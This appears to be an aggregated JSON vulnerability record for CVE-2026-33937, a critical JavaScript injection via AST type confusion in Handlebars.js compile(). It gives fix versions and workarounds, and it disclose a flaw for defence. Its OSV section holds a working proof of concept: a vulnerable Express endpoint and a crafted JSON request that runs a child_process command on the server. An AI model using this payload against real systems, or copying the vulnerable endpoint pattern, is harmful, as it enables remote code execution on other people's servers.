{"id":"GHSA-2w6w-674q-4c4q","revision":null,"records":[{"revision":"2f415674a2244abd8d4ea0f657373086","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-33937","aliases":[],"title":"Handlebars.js has JavaScript Injection via AST Type Confusion","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","state":0,"publishedAt":"2026-03-27T21:03:46.748+00:00","modifiedAt":"2026-09-04T12:04:45.273+00:00","affected":[{"ecosystem":"Vendor product","name":"handlebars.js","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"handlebars-lang\",\n                    \"product\": \"handlebars.js\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.0.0, < 4.7.9\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33937","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-33937","identifiers":["CVE-2026-33937"]},"retained":false,"historicalAffected":[]},{"revision":"918e91f7b5d0413483ff7766a967b3cd","observedAt":"2026-11-01T06:04:57.799+00:00","statement":{"source":"euvd","id":"EUVD-2026-16848","aliases":["CVE-2026-33937","GHSA-2w6w-674q-4c4q"],"title":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` …","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-16848","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 27, 2026, 9:03:46 PM","dateUpdated":"Sep 4, 2026, 12:04:45 PM"},"relatedAdvisories":[{"id":"RHSA-2026:10175","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.27.1 Release.","vulnerabilityIds":["CVE-2025-61728","CVE-2025-62718","CVE-2026-2332","CVE-2026-4800","CVE-2026-4926","CVE-2026-22731","CVE-2026-25679","CVE-2026-26999","CVE-2026-27137","CVE-2026-27606","CVE-2026-29054","CVE-2026-32305","CVE-2026-32695","CVE-2026-33186","CVE-2026-33433","CVE-2026-33805","CVE-2026-33870","CVE-2026-33871","CVE-2026-33937","CVE-2026-33938","CVE-2026-33939","CVE-2026-33940","CVE-2026-33941","CVE-2026-34986","CVE-2026-40175"]},{"id":"msrc_CVE-2026-33937","title":"Handlebars.js has JavaScript Injection via AST Type Confusion","vulnerabilityIds":["CVE-2026-33937"]},{"id":"RHSA-2026:34342","title":"Red Hat Security Advisory: Cluster Observability Operator 1.5.0","vulnerabilityIds":["CVE-2020-7753","CVE-2021-33623","CVE-2024-4068","CVE-2024-45338","CVE-2024-52011","CVE-2025-22868","CVE-2025-22870","CVE-2025-22872","CVE-2025-47911","CVE-2025-58190","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-4800","CVE-2026-4867","CVE-2026-6321","CVE-2026-6322","CVE-2026-6734","CVE-2026-9277","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-25680","CVE-2026-25681","CVE-2026-29063","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33814","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-33937","CVE-2026-33938","CVE-2026-33939","CVE-2026-33940","CVE-2026-33941","CVE-2026-39821","CVE-2026-42506","CVE-2026-48779"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-16848","identifiers":["EUVD-2026-16848","CVE-2026-33937","GHSA-2w6w-674q-4c4q"]},"retained":false,"historicalAffected":[]},{"revision":"77d15b9702824200b8c970912059af51","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-33937","aliases":[],"title":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` …","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","state":0,"publishedAt":"2026-03-27T21:17:27.417+00:00","modifiedAt":"2026-10-26T22:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q","https://access.redhat.com/errata/RHSA-2026:10175","https://access.redhat.com/errata/RHSA-2026:34342","https://access.redhat.com/security/cve/CVE-2026-33937","https://bugzilla.redhat.com/show_bug.cgi?id=2452523","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33937.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33937","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-94","CWE-843"],"productCriteria":["cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-03-27T21:17:27.417","lastModified":"2026-10-26T22:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-33937","identifiers":["CVE-2026-33937"]},"retained":false,"historicalAffected":[]},{"revision":"ee216de6fd5c49ce8b2b071d9b16650a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2w6w-674q-4c4q","aliases":["CVE-2026-33937"],"title":"Handlebars.js has JavaScript Injection via AST Type Confusion","description":"## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== 'string') {\n    throw new TypeError('Template must be a string');\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.","state":0,"publishedAt":"2026-03-27T18:19:58+00:00","modifiedAt":"2026-09-10T03:50:36.5394907+00:00","affected":[{"ecosystem":"npm","name":"handlebars","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.0"},{"kind":"fixed","version":"4.7.9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q","https://nvd.nist.gov/vuln/detail/CVE-2026-33937","https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","https://github.com/handlebars-lang/handlebars.js","https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"],"sourceUrl":"https://github.com/advisories/GHSA-2w6w-674q-4c4q","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2w6w-674q-4c4q","identifiers":["GHSA-2w6w-674q-4c4q","CVE-2026-33937"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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